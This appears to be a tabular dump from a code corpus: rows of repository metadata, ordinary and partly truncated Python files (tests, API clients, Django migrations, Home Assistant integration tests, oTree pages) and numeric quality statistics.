<svg class="octicon octicon-rss" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M2.002 2.725a.75.75 0 01.797-.699C8.79 2.42 13.58 7.21 13.974 13.201a.75.75 0 11-1.497.098 10.502 10.502 0 00-9.776-9.776.75.75 0 01-.7-.798zM2 13a1 1 0 112 0 1 ... | 91.6 | 434 | 0.657205 | 119 | 458 | 2.521008 | 0.554622 | 0.066667 | 0.083333 | 0.046667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.465174 | 0.122271 | 458 | 4 | 435 | 114.5 | 0.281095 | 0 | 0 | 0 | 0 | 0.333333 | 0.954048 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a765b480469bafabe11e1e2e36c9d52e150e2744 | 867 | py | Python | ft/ft/test_command.py | CristianCantoro/shell-functools | e66dfc3c4c6c0fd236645dc79607279cb3a8bdca | [
"MIT"
] | 1,065 | 2017-11-19T19:07:57.000Z | 2022-03-30T01:06:37.000Z | ft/ft/test_command.py | CristianCantoro/shell-functools | e66dfc3c4c6c0fd236645dc79607279cb3a8bdca | [
"MIT"
] | 40 | 2017-11-26T07:41:55.000Z | 2021-11-29T12:41:05.000Z | ft/ft/test_command.py | CristianCantoro/shell-functools | e66dfc3c4c6c0fd236645dc79607279cb3a8bdca | [
"MIT"
] | 52 | 2017-11-21T17:30:51.000Z | 2022-02-07T13:25:03.000Z | from ft.types import T_BOOL, T_INT, T_ARRAY, T_STRING
from ft.internal import add_dynamic_type
def test_add_dynamic_type_bool():
assert add_dynamic_type("True").fttype == T_BOOL
assert add_dynamic_type("False").fttype == T_BOOL
def test_add_dynamic_type_int():
assert add_dynamic_type("0").fttype == T_IN... | 29.896552 | 62 | 0.739331 | 139 | 867 | 4.201439 | 0.194245 | 0.291096 | 0.407534 | 0.376712 | 0.702055 | 0.400685 | 0.30137 | 0.191781 | 0.191781 | 0.191781 | 0 | 0.01745 | 0.140715 | 867 | 28 | 63 | 30.964286 | 0.766443 | 0 | 0 | 0 | 0 | 0 | 0.068051 | 0 | 0 | 0 | 0 | 0 | 0.611111 | 1 | 0.277778 | true | 0 | 0.111111 | 0 | 0.388889 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a79101867615d92a9517136393591cef8811771b | 232 | py | Python | src/schemas/__init__.py | ryzenboi98/btc-data-api | e9d7447595a35834bf63e738e797fb8b26c9a134 | [
"MIT"
] | null | null | null | src/schemas/__init__.py | ryzenboi98/btc-data-api | e9d7447595a35834bf63e738e797fb8b26c9a134 | [
"MIT"
] | null | null | null | src/schemas/__init__.py | ryzenboi98/btc-data-api | e9d7447595a35834bf63e738e797fb8b26c9a134 | [
"MIT"
] | null | null | null | from src.schemas.create import Stats as create_stats
from src.schemas.retrive import Stats as retrieve_stats
from src.schemas.create import AvgStats as create_avg_stats
from src.schemas.retrive import AvgStats as retrieve_avg_stats | 46.4 | 62 | 0.862069 | 38 | 232 | 5.105263 | 0.289474 | 0.14433 | 0.28866 | 0.293814 | 0.597938 | 0.329897 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 232 | 5 | 62 | 46.4 | 0.932692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a793bf8b36a798700f5a00dbfeb66153503288b4 | 7,177 | py | Python | confianza/pages.py | JefeLitman/emargame | 8295eeb07a83f2a9b6fe2c33ffa2d3c541dce9af | [
"MIT"
] | null | null | null | confianza/pages.py | JefeLitman/emargame | 8295eeb07a83f2a9b6fe2c33ffa2d3c541dce9af | [
"MIT"
] | null | null | null | confianza/pages.py | JefeLitman/emargame | 8295eeb07a83f2a9b6fe2c33ffa2d3c541dce9af | [
"MIT"
] | 2 | 2022-03-18T12:39:31.000Z | 2022-03-18T12:41:52.000Z | from otree.api import Currency as c, currency_range
from . import models
from ._builtin import Page, WaitPage
from .models import Constants
from random import randint
class presentacion(Page):
timeout_seconds = 30
def is_displayed(self):
return self.round_number == 1
class tratamientos(Page):
tim... | 35.885 | 138 | 0.642748 | 855 | 7,177 | 5.209357 | 0.14269 | 0.074091 | 0.114504 | 0.098114 | 0.801751 | 0.77885 | 0.766053 | 0.757521 | 0.729681 | 0.695555 | 0 | 0.014824 | 0.238679 | 7,177 | 199 | 139 | 36.065327 | 0.800329 | 0.034276 | 0 | 0.642424 | 0 | 0 | 0.101964 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.030303 | 0.090909 | 0.460606 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a7a1edac33d0b60ac144da9fd6be6234520335d4 | 13,410 | py | Python | deuceclient/tests/test_client_deuce_vault.py | BenjamenMeyer/deuce-client | 9f0b8d138656eda6007376cdbd9a6fda83147efe | [
"Apache-2.0"
] | null | null | null | deuceclient/tests/test_client_deuce_vault.py | BenjamenMeyer/deuce-client | 9f0b8d138656eda6007376cdbd9a6fda83147efe | [
"Apache-2.0"
] | 16 | 2015-01-02T19:46:21.000Z | 2016-09-07T04:57:40.000Z | deuceclient/tests/test_client_deuce_vault.py | BenjamenMeyer/deuce-client | 9f0b8d138656eda6007376cdbd9a6fda83147efe | [
"Apache-2.0"
] | null | null | null | """
Tests - Deuce Client - Client - Deuce - Vault
"""
import json
import httpretty
import deuceclient.client.deuce
from deuceclient.tests import *
class ClientDeuceVaultTests(ClientTestBase):
def setUp(self):
super(ClientDeuceVaultTests, self).setUp()
self.client = deuceclient.client.deuce.Deu... | 40.27027 | 78 | 0.510216 | 1,282 | 13,410 | 5.088924 | 0.083463 | 0.063458 | 0.055794 | 0.051502 | 0.904047 | 0.870478 | 0.825567 | 0.801349 | 0.781116 | 0.744022 | 0 | 0.012846 | 0.407905 | 13,410 | 332 | 79 | 40.391566 | 0.808816 | 0.003356 | 0 | 0.690037 | 0 | 0 | 0.034888 | 0.004193 | 0 | 0 | 0 | 0 | 0.136531 | 1 | 0.092251 | false | 0 | 0.01476 | 0 | 0.110701 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a7aae7ba6f572bca11884929d4462902b737b02d | 219 | py | Python | procuret/errors/__init__.py | Procuret/procuret-python | 2f49cbd3454e33986c84a6c32c0f0ab8f60d4b82 | [
"MIT"
] | null | null | null | procuret/errors/__init__.py | Procuret/procuret-python | 2f49cbd3454e33986c84a6c32c0f0ab8f60d4b82 | [
"MIT"
] | null | null | null | procuret/errors/__init__.py | Procuret/procuret-python | 2f49cbd3454e33986c84a6c32c0f0ab8f60d4b82 | [
"MIT"
] | 1 | 2020-10-28T14:26:21.000Z | 2020-10-28T14:26:21.000Z | from procuret.errors.api_error import ProcuretApiError
from procuret.errors.error import ProcuretError
from procuret.errors.inconsistent import InconsistentState
from procuret.errors.type_error import ProcuretTypeError
| 43.8 | 58 | 0.890411 | 26 | 219 | 7.423077 | 0.461538 | 0.248705 | 0.373057 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073059 | 219 | 4 | 59 | 54.75 | 0.950739 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
ac6566793533437531cad124090bd309fbb97c4f | 42 | py | Python | match_pattern/__init__.py | LamaAni/MatchPattern | 438402efbc13b423ad5a803ce7c773cbf8cb064a | [
"MIT"
] | null | null | null | match_pattern/__init__.py | LamaAni/MatchPattern | 438402efbc13b423ad5a803ce7c773cbf8cb064a | [
"MIT"
] | null | null | null | match_pattern/__init__.py | LamaAni/MatchPattern | 438402efbc13b423ad5a803ce7c773cbf8cb064a | [
"MIT"
] | null | null | null | from match_pattern.pattern import Pattern
| 21 | 41 | 0.880952 | 6 | 42 | 6 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095238 | 42 | 1 | 42 | 42 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ac7d071f23b1367f8921a3be0da154fc454d93cb | 27 | py | Python | src/python/addons/animation_auto_breakdown/auto_breakdown.py | natukikazemizo/Sedna1.0 | d3b60d1d58d6b99f8cae40d9fa9787e043971e2b | [
"MIT"
] | 4 | 2018-06-26T18:55:39.000Z | 2021-06-19T12:34:19.000Z | src/python/addons/animation_auto_breakdown/auto_breakdown.py | natukikazemizo/Sedna1.0 | d3b60d1d58d6b99f8cae40d9fa9787e043971e2b | [
"MIT"
] | 33 | 2018-04-02T12:10:06.000Z | 2021-05-02T05:39:54.000Z | src/python/addons/animation_auto_breakdown/auto_breakdown.py | natukikazemizo/Sedna1.0 | d3b60d1d58d6b99f8cae40d9fa9787e043971e2b | [
"MIT"
] | 1 | 2019-05-16T05:03:26.000Z | 2019-05-16T05:03:26.000Z | import bpy
print('test')
| 6.75 | 13 | 0.666667 | 5 | 27 | 3.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 27 | 3 | 14 | 9 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.5 | null | null | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
021daf9bafd7fba1595e8ac84971614631013a48 | 3,456 | py | Python | forge_api_client/items.py | dmh126/forge-python-data-management-api | 9c33f220021251a0340346065e3dd1998fc49a12 | [
"MIT"
] | 1 | 2019-07-02T08:32:22.000Z | 2019-07-02T08:32:22.000Z | forge_api_client/items.py | dmh126/forge-python-data-management-api | 9c33f220021251a0340346065e3dd1998fc49a12 | [
"MIT"
] | null | null | null | forge_api_client/items.py | dmh126/forge-python-data-management-api | 9c33f220021251a0340346065e3dd1998fc49a12 | [
"MIT"
] | 2 | 2019-07-04T05:13:42.000Z | 2020-05-09T22:15:05.000Z | from .utils import get_request, post_request, patch_request, authorized
class Items:
@authorized
def getItem(self, project_id, item_id):
url = self.api_url + '/data/v1/projects/%s/items/%s' % (project_id, item_id)
headers = {
'Authorization': '%s %s' % (self.token_type, self.acce... | 28.097561 | 104 | 0.600116 | 417 | 3,456 | 4.779377 | 0.115108 | 0.090316 | 0.117411 | 0.135474 | 0.863021 | 0.863021 | 0.839438 | 0.839438 | 0.839438 | 0.839438 | 0 | 0.003931 | 0.263889 | 3,456 | 122 | 105 | 28.327869 | 0.779481 | 0 | 0 | 0.628205 | 0 | 0 | 0.190394 | 0.127894 | 0 | 0 | 0 | 0 | 0 | 1 | 0.128205 | false | 0 | 0.012821 | 0 | 0.282051 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
022207a8e7dc76e3894a8925f28f44bc4c42ad69 | 1,819 | py | Python | test-scripts/appclient.py | ryhal/cs263 | e20234c7d7a481fccb5b7e8ec774fa64872d7901 | [
"Apache-2.0"
] | null | null | null | test-scripts/appclient.py | ryhal/cs263 | e20234c7d7a481fccb5b7e8ec774fa64872d7901 | [
"Apache-2.0"
] | 1 | 2016-02-06T00:22:57.000Z | 2016-02-06T00:22:57.000Z | test-scripts/appclient.py | ryhal/cs263 | e20234c7d7a481fccb5b7e8ec774fa64872d7901 | [
"Apache-2.0"
] | null | null | null | # appclient.py
# client code to hit the events app services.
# Ryan Halbrook, 3/16/16
import requests
class CommunityClient:
#
# host - protocol, host name, and port - i.e. http://localhost:8080
#
def __init__(self, host, userid):
self.host = host
self.userid = userid
def post_community(self, name, desc... | 25.263889 | 120 | 0.704233 | 232 | 1,819 | 5.387931 | 0.202586 | 0.1056 | 0.0672 | 0.1288 | 0.7824 | 0.7824 | 0.7424 | 0.7112 | 0.644 | 0.628 | 0 | 0.008491 | 0.158329 | 1,819 | 71 | 121 | 25.619718 | 0.807969 | 0.116548 | 0 | 0.411765 | 0 | 0 | 0.13739 | 0.015056 | 0 | 0 | 0 | 0 | 0 | 1 | 0.264706 | false | 0 | 0.029412 | 0.088235 | 0.558824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
5a2f853d4a936bee975a78abcea059a3aaf56858 | 12,333 | py | Python | tests/test_init.py | gitter-badger/ha-ferroamp | 38275e489c8ca3108c2a906b91e9628819badd5e | [
"MIT"
] | null | null | null | tests/test_init.py | gitter-badger/ha-ferroamp | 38275e489c8ca3108c2a906b91e9628819badd5e | [
"MIT"
] | null | null | null | tests/test_init.py | gitter-badger/ha-ferroamp | 38275e489c8ca3108c2a906b91e9628819badd5e | [
"MIT"
] | null | null | null | import uuid
from unittest.mock import patch
import pytest
from homeassistant.const import (
CONF_NAME,
CONF_PREFIX
)
from homeassistant.core import CoreState, State
from homeassistant.helpers import entity_registry, device_registry
from pytest_homeassistant_custom_component.common import async_fire_mqtt_messag... | 26.522581 | 120 | 0.608125 | 1,392 | 12,333 | 5.083333 | 0.099138 | 0.055964 | 0.041549 | 0.056388 | 0.865319 | 0.861928 | 0.85684 | 0.847937 | 0.847937 | 0.840729 | 0 | 0.035621 | 0.282981 | 12,333 | 464 | 121 | 26.579741 | 0.76456 | 0 | 0 | 0.697337 | 0 | 0.014528 | 0.114084 | 0.03146 | 0 | 0 | 0 | 0 | 0.024213 | 1 | 0.002421 | false | 0 | 0.024213 | 0.002421 | 0.029056 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5a4367136f43a297880a0e78bf34a241abcf253f | 143 | py | Python | zoo/auditing/standards/dummy_standards/checks/check_constantly.py | uliana291/the-zoo | a15a4162c39553abe91224f4feff5d3b66f9413e | [
"MIT"
] | 90 | 2018-11-20T10:58:24.000Z | 2022-02-19T16:12:46.000Z | zoo/auditing/standards/dummy_standards/checks/check_constantly.py | uliana291/the-zoo | a15a4162c39553abe91224f4feff5d3b66f9413e | [
"MIT"
] | 348 | 2018-11-21T09:22:31.000Z | 2021-11-03T13:45:08.000Z | zoo/auditing/standards/dummy_standards/checks/check_constantly.py | aexvir/the-zoo | 7816afb9a0a26c6058b030b4a987c73e952d92bd | [
"MIT"
] | 11 | 2018-12-08T18:42:07.000Z | 2021-02-21T06:27:58.000Z | def check_constantly(context):
yield context.Result("constant:always_found", True)
yield context.Result("constant:never_found", False)
| 35.75 | 55 | 0.769231 | 18 | 143 | 5.944444 | 0.666667 | 0.224299 | 0.336449 | 0.485981 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111888 | 143 | 3 | 56 | 47.666667 | 0.84252 | 0 | 0 | 0 | 0 | 0 | 0.286713 | 0.146853 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5a7372388ab69db342bc3442f9479e7ecf016259 | 116 | py | Python | perke/cli/__init__.py | AlirezaH320/perke | df9eaf69af335e34dd7493450e5a59afb2a89789 | [
"MIT"
] | 51 | 2021-03-25T17:37:44.000Z | 2021-08-28T09:19:36.000Z | perke/cli/__init__.py | AlirezaTheH/perke | df9eaf69af335e34dd7493450e5a59afb2a89789 | [
"MIT"
] | null | null | null | perke/cli/__init__.py | AlirezaTheH/perke | df9eaf69af335e34dd7493450e5a59afb2a89789 | [
"MIT"
] | 5 | 2021-11-20T07:26:17.000Z | 2022-03-26T11:14:29.000Z | from perke.cli.base import app, setup_cli
from perke.cli.clear import clear
from perke.cli.download import download
| 29 | 41 | 0.827586 | 20 | 116 | 4.75 | 0.45 | 0.284211 | 0.378947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112069 | 116 | 3 | 42 | 38.666667 | 0.92233 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
ce8fe70c91a90c5bb3053706f442fc10080050af | 2,758 | py | Python | ctapipe/io/tests/test_column_transforms.py | LucaMF/ctapipe | 9ee0635f92c40d38b3db9b7a6d8c866d951d51d2 | [
"BSD-3-Clause"
] | null | null | null | ctapipe/io/tests/test_column_transforms.py | LucaMF/ctapipe | 9ee0635f92c40d38b3db9b7a6d8c866d951d51d2 | [
"BSD-3-Clause"
] | null | null | null | ctapipe/io/tests/test_column_transforms.py | LucaMF/ctapipe | 9ee0635f92c40d38b3db9b7a6d8c866d951d51d2 | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
from numpy.testing import assert_array_equal
def test_fixed_point_unsigned():
from ctapipe.io.hdf5tableio import FixedPointColumnTransform
tr = FixedPointColumnTransform(
scale=10, offset=0, source_dtype=np.float32, target_dtype=np.uint16
)
iinfo = np.iinfo(tr.target_dtype... | 26.018868 | 77 | 0.592821 | 370 | 2,758 | 4.340541 | 0.175676 | 0.054795 | 0.026152 | 0.063512 | 0.84122 | 0.778331 | 0.759651 | 0.759651 | 0.731631 | 0.731631 | 0 | 0.050429 | 0.281001 | 2,758 | 105 | 78 | 26.266667 | 0.759455 | 0.025381 | 0 | 0.5625 | 0 | 0 | 0.0261 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.0375 | false | 0 | 0.0625 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0c8a9774a4873a3afef57edd3c5703e071312657 | 94 | py | Python | src/question_a/question_a.py | artgonzalezacc/acc-1336-midterm-template | 5ad847c366d375de5bf351a438b901fcb520da1b | [
"MIT"
] | null | null | null | src/question_a/question_a.py | artgonzalezacc/acc-1336-midterm-template | 5ad847c366d375de5bf351a438b901fcb520da1b | [
"MIT"
] | null | null | null | src/question_a/question_a.py | artgonzalezacc/acc-1336-midterm-template | 5ad847c366d375de5bf351a438b901fcb520da1b | [
"MIT"
] | null | null | null | #write functions here, don't add input('') statements here!
def test_config():
return True | 31.333333 | 59 | 0.723404 | 14 | 94 | 4.785714 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.159574 | 94 | 3 | 60 | 31.333333 | 0.848101 | 0.617021 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
0c8f8ba8b704124961ed86c3b366083cde0623a6 | 7,108 | py | Python | django_multitenant/tests/migrations/0001_initial.py | TralahM/django-multitenant | 8f378269ee9c1f3c77e89a97dffcbbbc134b39be | [
"MIT"
] | 3 | 2021-01-19T10:06:53.000Z | 2021-01-19T20:39:34.000Z | django_multitenant/tests/migrations/0001_initial.py | m7salam/django-multitenant | daef9e3d0e451121f1918e06ffdb224e3ce80140 | [
"MIT"
] | null | null | null | django_multitenant/tests/migrations/0001_initial.py | m7salam/django-multitenant | daef9e3d0e451121f1918e06ffdb224e3ce80140 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2018-11-14 17:28
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
import django_multitenant.fields
import uuid
class Migration(migrations.Migration):
initial = True
dependencies = [
]
... | 39.270718 | 136 | 0.539814 | 635 | 7,108 | 5.92126 | 0.133858 | 0.034043 | 0.055851 | 0.087766 | 0.779521 | 0.77234 | 0.760372 | 0.760372 | 0.760372 | 0.717021 | 0 | 0.012474 | 0.323298 | 7,108 | 180 | 137 | 39.488889 | 0.769231 | 0.009285 | 0 | 0.654971 | 1 | 0 | 0.105413 | 0.003125 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.02924 | 0 | 0.052632 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
49064fffcb8c211bce47d97147d570dde89cd566 | 256 | py | Python | python/lib/sms.py | FiboVN/sms-examples | ec6df1104d67766a2a03e4d1313a47b2358d4d83 | [
"MIT"
] | null | null | null | python/lib/sms.py | FiboVN/sms-examples | ec6df1104d67766a2a03e4d1313a47b2358d4d83 | [
"MIT"
] | null | null | null | python/lib/sms.py | FiboVN/sms-examples | ec6df1104d67766a2a03e4d1313a47b2358d4d83 | [
"MIT"
] | null | null | null | class SMS:
endpoint = "http://center.fibosms.com/service.asmx"
clientNo = ""
clientPass = ""
def __init__(self, clientNo, clientPass):
self.clientNo = clientNo
self.clientPass = clientPass
def send_sms(self, message):
return False
| 19.692308 | 53 | 0.683594 | 29 | 256 | 5.862069 | 0.62069 | 0.211765 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.199219 | 256 | 12 | 54 | 21.333333 | 0.829268 | 0 | 0 | 0 | 0 | 0 | 0.14902 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0.333333 | 0 | 0.111111 | 0.777778 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 6 |
0b78cea20e567a91d839102789b5828f95acbaf1 | 71 | py | Python | main.py | ParasAlex/Python-Challenge | c4f3f9481a3c18131d196b4f5e3f5eb3f1fb30d3 | [
"MIT"
] | null | null | null | main.py | ParasAlex/Python-Challenge | c4f3f9481a3c18131d196b4f5e3f5eb3f1fb30d3 | [
"MIT"
] | null | null | null | main.py | ParasAlex/Python-Challenge | c4f3f9481a3c18131d196b4f5e3f5eb3f1fb30d3 | [
"MIT"
] | null | null | null | import os
os.system('python PyPoll.py')
os.system('python PyBank.py')
| 14.2 | 29 | 0.732394 | 12 | 71 | 4.333333 | 0.583333 | 0.307692 | 0.538462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.098592 | 71 | 4 | 30 | 17.75 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0.450704 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0b7f2c7ebfe322c7d2235d9775971edbb91f982a | 25 | py | Python | apps/killboard/models/__init__.py | Sult/daf | a4da9e8c96f70577e2490c05e82bdf7d0de1a563 | [
"MIT"
] | null | null | null | apps/killboard/models/__init__.py | Sult/daf | a4da9e8c96f70577e2490c05e82bdf7d0de1a563 | [
"MIT"
] | null | null | null | apps/killboard/models/__init__.py | Sult/daf | a4da9e8c96f70577e2490c05e82bdf7d0de1a563 | [
"MIT"
] | null | null | null | from .killboard import *
| 12.5 | 24 | 0.76 | 3 | 25 | 6.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16 | 25 | 1 | 25 | 25 | 0.904762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f00b74344ba1b48f06b9299856589fee28e8fd85 | 169 | py | Python | storyhub/sdk/service/output/OutputNone.py | wilzbach/hub-sdk-python | 3dd2a3112276068080751198cb1fcc29975c0136 | [
"Apache-2.0"
] | null | null | null | storyhub/sdk/service/output/OutputNone.py | wilzbach/hub-sdk-python | 3dd2a3112276068080751198cb1fcc29975c0136 | [
"Apache-2.0"
] | null | null | null | storyhub/sdk/service/output/OutputNone.py | wilzbach/hub-sdk-python | 3dd2a3112276068080751198cb1fcc29975c0136 | [
"Apache-2.0"
] | null | null | null | from storyhub.sdk.service.output.OutputBase import OutputBase
class OutputNone(OutputBase):
"""
A service output where the return type is unimportant.
"""
